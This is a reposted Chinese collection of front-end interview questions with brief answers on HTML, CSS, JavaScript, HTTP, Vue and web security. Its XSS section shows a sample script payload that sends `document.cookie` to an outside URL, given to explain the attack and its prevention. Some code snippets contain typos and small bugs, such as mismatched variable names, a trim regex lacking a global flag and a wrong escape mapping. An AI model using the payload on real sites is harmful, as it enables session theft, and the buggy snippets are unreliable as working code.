前端面试题收集

程序员文章站 2022-06-09 21:38:33

...

FE-INTERVIEW

HTML

如何理解语义化

- 第一种举例：段落用p，边栏用aside，主内容用main标签
- 第二种讲历史：
  1. 最开始PHP后端用table布局
  2. 后来专门写CSS的前端，用DIV+CSS
  3. 专业化的前端用恰当的标签展示内容

2. meta viewport 做什么用， 怎么写
- 死背： `<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1, maximum-scale=1, minimum-scale=1">`  
控制页面在移动端不要缩放
- 历史：
  * 开始： 所有页面都是给PC准备的，iPhone 3GS，页面不适应手机屏幕Apple工程师想了个办法，把手机模拟成980px，页面缩小
  * 后来：智能手机普及，这个功能在部分网站不需要了，所以我们用meta：viewport让手机不要缩小网页

3. canvas元素是干什么的
  - [MDN Canvas Tutorial](https://developer.mozilla.org/zh-CN/docs/Web/API/Canvas_API/Tutorial)

CSS:

*说说盒模型

- 举例：
  content-box: width = content
  border-box(比较方便): width = content + padding + border

2. css reset 和 normalize.css区别
- reset: 重置，直接抛弃默认样式
- normalize: 标准化，让所有浏览器的标签样式都跟标准规定的一致

3. 如何居中 
- 平时总结，死背
- 垂直居中：[七种方式实现垂直居中](https://jscode.me/t/topic/1936)
- 水平居中：
  * 内联：父元素 `text-align: center`
  * 块级：`margin-left: auto; margin-right: auto;`

4. selector 优先级如何确定
- 选择器越具体优先级越高#xxx > .xxx（JS Bin试一下）
- 相同优先级，写在后面的覆盖前面的
- !import优先级最高

5. BFC是什么
- 举例：
  * `overflow: hidden` 清除浮动（一般用clearfix清除）
  * 父元素加`overflow: hidden` 取消父子margin合并
    - 一般在父元素上加 `padding-top: 0.1px`， 来取消margin合并
  * BFC有很多副作用，一般不用它解决问题

6. 如何清除浮动
- BFC
- clearfix
  ```css
  .clearfix::after {
    content: '';
    display: block;
    clear: both;
  }
  ```

一些CSS3动画

JS:

JS有哪些数据类型

- 七种数据类型

2. *Promise怎么使用
- then的用法 
  ```js
  $.ajax(...).then(success, error)
  ```
- 链式then
  ```js
  // 前面没有报错，就会调用后面的
  $.ajax(...).then(success, error).then(success2, error2)
  ```
- 如何自己生成Promise Object
  ```js
  function fn() {
    return new Promise(function(resolve, reject) {
      setTimeout(() => {
        // resolve() or reject()
      }, 3000)
    })
  }
  fn().then(...)
  ```

3. *AJAX手写
- mdn [https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest]
```js
let xhr = new XMLHttpRequest()
xhr.open('GET', '/url')
xhr.onreadystatechange = function() {
  if(xhr.readyState === 4 && xhr.status === 200) {
    console.log(xhr.responseText)
  }
}
xhr.send('a=1&b=2')
```

4. *闭包解释
- 函数作用域
```js
function createClosure() {
  var n = 0
  return {
    addOne: function() {
      n += 1 
    },
    logValue: function() {
      console.log(n)
    }
  }
}
```

5. *这段代码里this是什么
* fn()里面的this是window
* fn()是strict mode，this就是undefined
* a.b.c.fn()里面的this就是a.b.c
* new Fn()里的this就是新生成的实例
* 箭头函数里的this就是外面的this

6. *什么是立即执行函数?使用它的目的是什么？
- `;(function() {})()`
- 创造出一个函数作用域，防止污染全局变量
- ES6新语法：
  ```js
  {
    let a = 1
  }
  ```

7. async/await语法？目的是什么？
- 异步最佳实践: 把异步代码写成同步代码
```js
function returnPromise() {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve('foo')
    }, 3000)
  })
}
returnPromise().then(res => {
  res === 'foo'
})

var res = await returnPromise()
res === 'foo'
```

8. 如何实现deepcopy
- JS其实无法深拷贝
- 1. 用JSON方法，不支持函数，引用，undefined，RegExp，Date
  ```js
  JSON.parse(JSON.stringify(o))
  ```
- 2. 使用递归
  ```js 
  function clone(object) {
    var newObject
    if(!(object instanceof Object)) {
      return object
    }
    if(object instanceof Array) {
      newObject = []
    } else if(object instanceof Function) {
      newObject = eval(object.toString())
    } else if(object instanceof Object) {
      newObject = {}
    } 
    for(let key in object) {
      newObject[key] = clone(object[key])
    }
    return newObject
  }
  ```
- 3. 环（高级面试）
- 4. 考虑RegExp, Date, Set, Symbol, WeakMap

9. 数组去重 
- 1. 计数排序的逻辑（只能正整数, 因为obj的下标为字符串，分不清字符串和正整数）
  ```js
  var a = [1, 2, 3, 4, 4, 5, 5]
  var hashTable = {}
  for(let i = 0; i < a.length; i++) {
    if(!(a[i] in hashTab)) {
      hashTable[a[i]] = true
    }
  }
  console.log(Object.keys(hashTable).map((item) => {
    return parseInt(item)
  }))
  ```
- 2. Set去重
  ```js
  Array.from(new Set(a))
  ```
- 3. WeakMap任意类型去重

10. 如何用正则实现string.trim()
```js
function trim(string) {
  return string.replace(/^\s+|\s+$/, '')
}
```

11. JS原型是什么
- 举例：
  ```js
  // var a = [1, 2, 3]
  // a只有0、1、2、length 4 个key
  // 为什么可以a.push(4)
  // a.__proto__ === Array.prototype
  // Array.prototype 还有join, pop, slice, splice, concat等方法
  ```

12. ES6中的class
- mdn class章节
- 记住一个例子

13. JS如何实现继承
- 原型链
  ```js
  function Animal() {
    this.body = 'body'
  }
  Animal.prototype.move = function(){}

  function Human(name) {
    Animal.apply(this, arguments)
    this.name = name
  }

  // Human.prototype.__proto__ = Animal.prototype(这种写法非法)


  var F = function() {}
  F.prototype = Animal.prototype
  Human.prototype = new F()
  Human.prototype.useTools = function() {}

  var Allen = new Human('allen')
  ```

- extends关键字
  ```js
  class Animal{
    constructor() {
      this.body = 'body'
    }
    move() {}
  }
  class Human extends Animal{
    constructor(name) {
      super()
      this.name = name
    }
    useTools(){}
  }
  ```

14. == 问题直接反着答(放弃)

DOM:

DOM的事件模型是什么

- 冒泡
- 捕获
- 如果点击的元素是监听事件的元素，那么捕获不一定在冒泡之前，顺序是由监听顺序决定的。

2. 移动端的触摸事件
- touchstart, touchmove, touchend, touchcancel
- 如何模拟swipe事件：记录两次touchmove的位置差，如果后一次在前一次的右边，证明向右滑了。

3. 事件委托是什么，有什么好处？
- 事件委托：假设父元素有4个子元素，我不监听4个子元素，而是监听父元素，看触发事件的元素是哪个子元素。
- 好处：可以监听还没有的子元素(动态生成的子元素)。省监听器。
```js
function listen(container, selector, eventType, fn) {
  container.addEventListener(evenType, e => {
    let el = e.target
    while(!el.matches(selector)) {
      if(el === container) {
        el = null
        break
      }
      el = el.parentNode
    }
    el && fn.call(el, e, el)
  })
}
// listen(ul, 'li', 'click', () => {})
```

HTTP:

知道哪些状态码

- 死记

2. 301和302的区别
- 301永久重定向，302临时重定向

3. HTTP缓存怎么做
- `Cache-Control: max-age:300`
- `http://cdn.com/1.js?v=1`避免缓存

4. Cache-Control 和 Etag的区别
- 直接google

5. Cookie，Session是什么
- Cookie:
  * HTTP响应通过Set-Cookie设置cookie
  * 浏览器访问相同指定域名时必须带上Cookie作为Request Header
  * 一般用来记录用户信息
- Session
  * Session是服务端的数据
  * 一般通过在Cookie里记录SessionID(一般是随机字符串)实现

6. LocalStorage和Cookie的区别是什么
- Cookie会被随请求发到服务器上
- Cookie大小4k以下，localStorage大小5MB左右

7. *GET与POST的区别
- 其实没有区别
- 参数传递区别：GET放在url的查询参数里，POST放在请求消息体里
- 安全（扯淡）：GET没有POST安全（都不安全）
- GET的url查询参数有长度限制（一般1024个字符），POST参数长度没有限制（其实有，一般是4-10MB）。
- 包。GET请求只需要发一个包，POST需要发两个以上，因为POST有消息体（扯淡，GET也可以有消息体）。
- GET同来读数据，POST用来写数据。POST不幂等（幂等就是不管发多少次请求，结果都一样）。

8. *怎么跨域？JSONP是什么？CORS是什么？postMessage是什么？
- JSONP
- CORS
- postMessage 看MDN

Vue:

*有哪些生命周期钩子函数

- 看文档，11个

2. *如何实现组件通信
- 父子通信：props，v-on组合
- 祖孙通信：通过多队父子通信
- 兄弟通信：new Vue() 作为 eventBus

3. VueX的作用
- 看文档，博客

4. VueRouter路由是什么
- 看文档，博客

5. Vue的双向绑定是如何实现的？有什么缺点？
- [看文档:深入响应式原理](https://cn.vuejs.org/v2/guide/reactivity.html)

6. Computed计算属性的用法？跟methods的区别
- 看文档，博客

算法:

排序（冒泡排序，选择排序，计数排序，快速排序，插入排序，归并排序）
二分查找法
翻转二叉树

安全:

什么是XSS攻击？如何预防？

- 跨站脚本攻击，举例：
  ```js
  // 恶意代码
  div.innerHTML = userComment // userComment 内容是 <script>$.get('http://url?cookie=' + document.cookie)</script>
  ```
- 预防：
  * 不用使用innerHTML，改用innerText。
  * 字符过滤(替换为HTML中的字符实体)，
    1. 把 < 替换成`&lt;`
    2. 把 > 替换成`&gt;`
    3. 把'&'替换为`&amp;`
    4. 把 " 替换成`&quot;`
    5. 把 ' 替换成`&apos;`
    - 代码
      ```
      div.innerHTML = userComment.replace(/>/g, '&lt;').replace....
      ```

2. 什么是CSRF攻击？如何预防？
- 恶意网站窃取用户权限发请求
- 过程
  1. 用户在qq.com登录
  2. 用户切换到hacker.com（恶意网站）
  3. hacker.com发送一个qq.com/add_friend请求，让用户添加hacker为好友
- 避免
  1. 检查referer， qq.com可以拒绝来自hacker.com的请求
  2. 用csrf_token来解决

Webpack:

转译出的文件过大怎么办？

- 使用code split
- 写法`import('xxx').then(xxx => {})`
  * xxx模块就是单独编译，按需加载的

2. 转译速度慢怎么办？
- 直接搜

写过webpack loader吗？

- 搜webpack loader教程

发散题:

从URL输入到页面展现发生了什么？

- DNS查询
- 建立TCP连接（三次握手）
- 发送HTTP请求（请求的四部分）
- 后台处理请求
  * 监听端口
  * 路由
  * 渲染HTML模板
  * 生成响应
- 发送HTTP响应
- 关闭TCP连接（四次挥手）
- 解析HTML
- 下载CSS，解析CSS
- 下载JS，解析JS
- 下载Image，解析
- 渲染DOM树
- 渲染CSSOM树
- 执行JS

转载于:https://www.jianshu.com/p/dc98df33bfdc

上一篇： php将字符串全部转换成大写或者小写的方法_PHP教程

下一篇： ThinkPHP实现批量删除数据的代码实例_PHP

前端面试题收集

FE-INTERVIEW

HTML

CSS:

JS:

DOM:

HTTP:

Vue:

算法:

安全:

Webpack:

发散题:

前端产品和后端产品的区别（深入解读两者间区别）

前端培训要多少钱（web前端培训班教程）

前端js中的事件循环eventloop机制详解

js纯前端实现腾讯cos文件上传功能的示例代码

收集的ORACLE函数大全

web应用开发技术有哪些（web前端三大主流框架）

互联网八大技术岗位解析：前端+后端+移动+测试+大数据+管理等

【面试题】野指针的成因，危害以及避免方法？

JSP 前端数据本地排序实例代码

javascript 常用代码技巧大收集